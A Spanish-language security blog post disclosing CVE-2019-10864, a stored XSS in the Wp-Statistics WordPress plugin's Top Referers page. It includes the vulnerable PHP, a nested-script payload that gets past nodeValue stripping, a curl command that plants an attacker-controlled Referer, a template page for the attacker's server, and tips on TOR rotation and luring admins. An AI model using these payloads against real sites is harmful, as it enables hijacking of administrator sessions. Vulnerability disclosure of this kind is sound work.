Image
CVE-2019-10864 Wp-Statistics XSS Almacenado

CVE-2019-10864 Wp-Statistics XSS Almacenado

Nos pasó hace poco, teníamos la necesidad de auditar varios WordPress, todos ellos con características similares. Eran WordPress actualizados a la última versión (5.1.1 en aquel momento) con pocos plugins que también estaban actualizados a su respectiva versión. Además, tenían el panel de administración cerrado con htaccess para determinadas direcciones IP.

Por ello, nos pusimos a revisar los plugins que tenían instalados y en varias de las webs tenían un plugin llamado Wp-Statistics con la versión 12.6.2. Actualmente, este plugin lo tienen instalado más de medio millón de WordPress. Lo bueno de WordPress es que es open source y los plugins suelen serlo también, así que el código se encuentra en algún lugar (normalmente github).

Después de un día entero examinando este plugin pudimos encontrar un XSS almacenado un tanto curioso. 

Wp-Statistics tiene un apartado en el panel de administración que se llama Top Referers en el que aparecen los referidos que más veces han accedido al WordPress donde está instalado el plugin. En esta página, se utiliza el referido para obtener el título de la página y mostrarlo de forma que el usuario administrador pueda ver más fácilmente desde donde viene su público.

Es justamente en la carga del contenido del título donde se encuentra el XSS. Podéis encontrar el fix aquí:

Github WP-Statics

Podéis ver cómo se ejecuta el siguiente código: $dom = new DOMDocument;
@$dom->loadHTML( $html );
$title = '';
if ( isset( $dom ) and $dom->getElementsByTagName( 'title' )->length > 0 ) {
$title = $dom->getElementsByTagName( 'title' )->item( '0' )->nodeValue;
}
return ( wp_strip_all_tags( $title ) == "" ? false : $title );
Primero, se obtiene el html de la web del referido. Luego, se selecciona el título de la web mediante su tag <title> y se obtiene el contenido del mismo.

Se ejecuta el método nodeValue de DomDocument. Esta función, extrae el texto de un nodo dado, en este caso, el texto del título de la web del referido. Si el nodo contiene tags se supone que el método nodeValue los elimina, por lo que podría parecer que no es vulnerable a XSS. Por ejemplo este html:

<html>
  <head>
    <title>1 <script>alert(2)</script> 3</title>
  </head>
  <body>
    <h1>Hello :)</h1> 
  </body>
</html>

Al parsearlo con la función anterior, nos daría como resultado:

1 alert(2) 3

 Pero podemos hacer una cosa parecida a lo siguiente:

<html>
  <head>
    <title>1 <script><script>alert(2)<</script>/script></script> 3</title>
  </head>
  <body>
    <h1>Hello :)</h1> 
  </body>
</html> 

Con todo esto, podemos hacer que el plugin cargue y ejecute código JS en el panel de administrador.

El resultado sería el siguiente:

1 <script>alert(2)</script> 3

Explotación del XSS

Para explotar el XSS hay que tener un servidor web con un dominio asociado abierto a internet del cual se controle la página principal de la web. 

Primero, hay que “sembrar” el XSS, para ello se hacen peticiones al servidor de la siguiente forma:

curl ‘https://victimwordpress.com' -H ‘Referer: http://attacker.domain.com'

Es decir, hay que hacer peticiones a la web víctima con el campo Referer apuntando al servidor que controla el atacante.

Nótese que, cuantas más peticiones se hagan con diferente dirección IP, más probabilidades hay que el XSS pueda ser ejecutado, puesto que el referido tendrá más visitas y, por lo tanto, tendrá más probabilidades de encontrarse en la primera página del apartado del “Top Referers” que es donde se ejecuta el XSS. De lo contrario, se podría conseguir, por ejemplo desde TOR, cambiando el circuito después de cada petición.

El servidor que controla el atacante podrá contener un código parecido al siguiente en la raíz del servidor web:

<html>
  <head>
    <title>1 <script><script>Your js code here<</script>/script></script> 3</title>
  </head>
  <body>
    <h1>Hello :)</h1>
  </body>
</html>

El código se ejecutará cuando el administrador visite el apartado Top Referers. Para acelerar el proceso, se puede intentar enviar un email a la víctima o, tal vez, dejar un comentario en la web con un enlace acortado que le envíe hacia el apartado Top Referers del panel de administración.

Pronto publicaremos una forma para conseguir RCE desde este XSS. Hay publicaciones en internet que indican la forma de hacerlo pero las que hemos visto hasta el momento están desfasadas y el código no funciona.


Maunel Fernández

Manuel Fernández-Aramburu